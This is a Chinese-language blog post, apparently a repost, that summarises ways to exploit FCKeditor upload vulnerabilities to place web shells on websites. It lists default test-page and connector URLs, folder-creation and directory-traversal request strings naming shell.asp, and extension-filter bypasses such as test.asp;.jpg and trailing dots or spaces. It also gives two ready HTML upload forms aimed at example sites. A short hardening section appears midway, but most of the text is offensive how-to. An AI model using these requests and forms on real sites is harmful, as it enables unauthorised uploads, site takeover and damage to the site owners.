1. 程式人生 > >FCK漏洞利用總結

FCK漏洞利用總結

前段時間,IIS解析漏洞被披露出來。IIS解析漏洞就是把shell檔案命名為test.asp;z.jpg,test.asp;_gif之類格式的檔案,會被當做asp,php,aspx等動態檔案解析的問題。對於FCK來講,這個漏洞應當是起到了助紂為虐的作用。fckeditor可能是當今各大站長使用的最為廣泛的一款網頁編輯器,其相容性和易用性廣為人知,但同時眾所周知的是他的安全性也被人廣為詬病。IIS解析漏洞和FCK上傳檔案問題這兩者的結合鑄就了江湖太多太多的血雨腥風。前段時間安全中國,NOD32網站等網站被入侵,聽說都是因FCK所累,真不知有多少大站倒在fck的石榴裙下,網路安全有點觸目驚心的味道。 

     FCK的問題與IIS的解析漏洞有著密切的關係,自IIS解析漏洞披露後,fck就遭受了新一輪衝擊。由於fck對上傳檔案的副檔名檢查不嚴格,導致了一些畸形檔名檔案的上傳,比如上面說道的test.asp;z.jpg,而由於IIS解析漏洞的原因,IIS會把這種格式的檔案當做動態檔案解析。FCK修正了一次之後,又出現了二次上傳漏洞,就是第一次會把副檔名中多餘的”.“替換成”-“,但是如果再傳一次同樣的檔案,則不替換。對上傳檔案過濾似乎有所加強,出現invalid file彈窗的機率大為增加,但是還是有辦法突破,這都歸責於fck的致命問題:上傳檔案沒有重新命名!對於突破上傳,網上有個朋友介紹了一個相當好的辦法,那就是利用edjpgcom插入一句話到圖片,這個圖片還可以遊覽,fck根本無法檢測出,非常好的一個偽裝辦法,edjpgcom.exe這個程式刀城有朋友傳上來了,在cmd下使用,直接拉圖片到程式也是可以的。 

     前幾天遇到一個fck的一個新情況,是什麼呢?重新命名了,我不是很確認這是官方的版本還是自己修改的版本,FCK把所有的檔案都重新命名存放,截圖看下 

可以看到嚴重的問題,雖然重新命名,但是沒有過濾副檔名,真是奇怪,asp,cer,aspx都可以上傳。 


測試了一下,aspx可以執行,說明上傳不是假的。 
本人感覺這個應當是某些網站自己修改了上傳頁面,才會導致這麼大的疏忽,在這也請各個站長注意了。 

說到FCK,幾個老問題不得不說,雖然是陳年舊事,但是還是被很多站長們常常疏忽。對於FCK我會查詢3個頁面:fckeditor.html,test.html和browser.html 

首先說test.html的問題,看檔名就知道,這是fck的測試檔案,可能出於疏忽,作為產品釋出了,從此很多使用此編輯器的網站也就存在了這個頁面。這個頁面非常危險,可以直接上傳動態檔案。 


test.html存在2個不同版本,第一個版本的預設路徑是FCKeditor/editor/filemanager/connectors/test.html,這是一個在FCK中比較常見的問題檔案。 


如圖,直接選擇本地檔案上傳,有時候不成功可以多測試幾次connector,有時候可能關閉了asp,只開啟了aspx;對於resouse type也是一樣,或者只是開啟了file或者image其中一個型別的上傳。怎麼獲取上傳地址呢?已經很明顯了,點選”get folders and files“就將返回當前上傳檔案的地址。 

另外一個版本的test.html,相對較少,他的預設路徑是FCKeditor/editor/filemanager/upload/test.html  


從圖片可以看出,上傳後會直接返回上傳的路徑,所以利用非常方便。 

下面說fckeditor.html和browser.html, 
先說browser.html,他的預設路徑一般是FCKeditor/editor/filemanager/browser/default/browser.html?Type=file&Connector=connectors/asp/connector.asp 
這裡是利用asp聯結器,型別選擇為”file“,開啟後如下圖 


可以看到下面有一個上傳的地方,如果rp沒有問題,那麼就可以上傳成功,那麼怎麼獲取上傳之後的地址呢?這是一些朋友迷惑的問題 
FCK是利用xml列出檔案的,在聯結器中有這樣一個命令”GetFoldersAndFiles",就是列出資料夾和檔案。可以嘗試執行下面的命令 
editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ 
如果行的話就會列出檔案路徑。 

另外可以摸石頭過河,根據經驗瞎猜預設路徑;翻一翻網站,找找相似的圖片,說不定路徑就出來了;再或者試試網頁嗅探器。 

下面說說fckeditor.html。fckeditor.html的預設路徑一般是fckeditor/editor/fckeditor.Html ,就我而言,只有當fckeditor.html無法利用,比如刪除了,或者開啟是一片空白,我才會查詢browser.html。 

理由有3: 
第一,聯結器的選擇問題,如果用browser.html,你首先的測試哪一個Connector是可用的。而在fckeditor.html中,如果正常的話他有一個上傳圖片的功能,點選開啟上傳圖片對話方塊 


可以看到一個”brows server“ 按鈕,點選開啟之,就會是正確的browser.html,他會自動選擇正確的聯結器。 

第二,上面說到的browser.html中獲取上傳路徑的問題,從上傳圖片對話方塊中開啟browser.html後,雙擊列出的檔案,就將自動複製地址給”連結“或者“影象”,如上圖中所示,在這裡為相對路徑為/upload/File/24filmru1377.html 

第三,他同樣具有上傳圖片的地方,雖然沒browse.html方便,可以測試多個型別檔案 


上傳之後,會直接在”影象“欄中顯示上傳地址 。 


-----------------------------------------------------------------------------

-----------------------------------------------------------------------------
對於這個FCK的利用就說到這裡了,下面說安全 

1,首先要刪除上面說到的2個test.html,這2個檔案對網站有百害而無一利 

2,對於檔案的上傳,我們可以關閉FCK的上傳功能。關閉是在各個聯結器的config檔案中,比如asp聯結器,editor/filemanager/browser/default/connectors/asp/config.asp,將config.asp中的ConfigIsEnabled的值設定為False。各個連線都需要關閉!當然最好的辦法是刪除filemanager這個資料夾,徹底解決FCK的上傳,不過這樣FCK也就無法上傳了 

3,如果想使用FCK上傳,那麼就得修改相應的config檔案。限制各個動態檔案的上傳,重新命名檔案。 

4,如果你有伺服器許可權,那麼取消FCK上傳目錄的“指令碼”許可權,雖上傳,但是已無法執行。

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

----------------------------------------------------------------------華麗麗分割線----------------------------------------------------------------------------------------------

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

1. 檢視編輯器版本

FCKeditor/_whatsnew.html

——————————————————————————

2. Version 2.2 版本

Apache+linux 環境下在上傳檔案後面加個.突破!測試通過。

——————————————————————————

3.Version <=2.4.2 For php 

在處理PHP 上傳的地方並未對Media 型別進行上傳檔案型別的控制,導致使用者上傳任意檔案!將以下儲存為html檔案,修改action地址。

<form id="frmUpload" enctype="multipart/form-data"

action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>

<input type="file" name="NewFile" size="50"><br>

<input id="btnUpload" type="submit" value="Upload">

</form>

——————————————————————————

4.FCKeditor 檔案上傳“.”變“_”下劃線的繞過方法

        很多時候上傳的檔案例如:shell.php.rar 或shell.php;.jpg 會變為shell_php;.jpg 這是新版FCK 的變化。

    4.1:提交shell.php+空格繞過

不過空格只支援win 系統 *nix 是不支援的[shell.php 和shell.php+空格是2 個不同的檔案 未測試。

    4.2:繼續上傳同名檔案可變為shell.php;(1).jpg 也可以新建一個資料夾,只檢測了第一級的目錄,如果跳到二級目錄就不受限制。

——————————————————————————

5. 突破建立資料夾

FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

——————————————————————————

6. FCKeditor 中test 檔案的上傳地址

FCKeditor/editor/filemanager/browser/default/connectors/test.html

FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/connectors/test.html

FCKeditor/editor/filemanager/connectors/uploadtest.html

——————————————————————————

7.常用上傳地址

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 測試通過)

JSP 版:

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

注意紅色部分修改為FCKeditor 實際使用的指令碼語言,藍色部分可以自定義文

件夾名稱也可以利用../..目錄遍歷,紫色部分為實際網站地址。

——————————————————————————

8.其他上傳地址

FCKeditor/_samples/default.html

FCKeditor/_samples/asp/sample01.asp

FCKeditor/_samples/asp/sample02.asp

FCKeditor/_samples/asp/sample03.asp

FCKeditor/_samples/asp/sample04.asp

一般很多站點都已刪除_samples 目錄,可以試試。

FCKeditor/editor/fckeditor.html 不可以上傳檔案,可以點選上傳圖片按鈕再選擇瀏覽伺服器即可跳轉至可上傳檔案頁。

——————————————————————————

9.列目錄漏洞也可助找上傳地址

Version 2.4.1 測試通過

修改CurrentFolder 引數使用 ../../來進入不同的目錄

/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp

根據返回的XML 資訊可以檢視網站所有的目錄。

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F

也可以直接瀏覽碟符:

JSP 版本:

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F

——————————————————————————

10.爆路徑漏洞

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp

—————————————————————————————————————————————————————————————

11. FCKeditor 被動限制策略所導致的過濾不嚴問題

        影響版本: FCKeditor x.x <= FCKeditor v2.4.3

脆弱描述:

FCKeditor v2.4.3 中File 類別預設拒絕上傳型別:

html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm

Fckeditor 2.0 <= 2.2 允許上傳asa、cer、php2、php4、inc、pwml、pht 字尾的檔案上傳後它儲存的檔案直接用的$sFilePath = $sServerDir . $sFileName,而沒有使用$sExtension 為字尾.直接導致在win 下在上傳檔案後面加個.來突破[未測試]!

        而在apache 下,因為"Apache 檔名解析缺陷漏洞"也可以利用之,另建議其他上傳漏洞中定義TYPE 變數時使用File 類別來上傳檔案,根據FCKeditor 的程式碼,其限制最為狹隘。

        在上傳時遇見可直接上傳指令碼檔案固然很好,但有些版本可能無法直接上傳可以利用在檔名後面加.點或空格繞過,也可以利用2003 解析漏洞建立xxx.asp資料夾或者上傳xx.asp;.jpg!

——————————————————————————

12.最古老的漏洞,Type檔案沒有限制!

        我接觸到的第一個fckeditor漏洞了。版本不詳,應該很古老了,因為程式對type=xxx 的型別沒有檢查。我們可以直接構造上傳把type=Image 改成Type=hsren 這樣就可以建立一個叫hsren的資料夾,一個新型別,沒有任何限制,可以上傳任意指令碼!

——————————————————————————

將下面程式碼儲存為html,然後在action後面添上網站的上傳地址,如果能上傳成功會返回一個空白頁面,使用Chrome等瀏覽器的審查元素或者直接檢視網頁原始碼就能看見你個返回的地址,該地址就是你的shell地址,exp是利用media選項的任意檔案上傳漏洞進行上傳得,如果編輯器補了這個漏洞是沒法上傳得到shell的。

<form> id="frmUpload" enctype="multipart/form-data"

action="http://www.test.kr/FCKeditor/editor/filemanager/upload/asp/upload.asp?Type=Media" method="post">Upload a new file:<br>

<input type="file" name="NewFile" size="50"><br>

<input id="btnUpload" type="submit" value="Upload">

</form>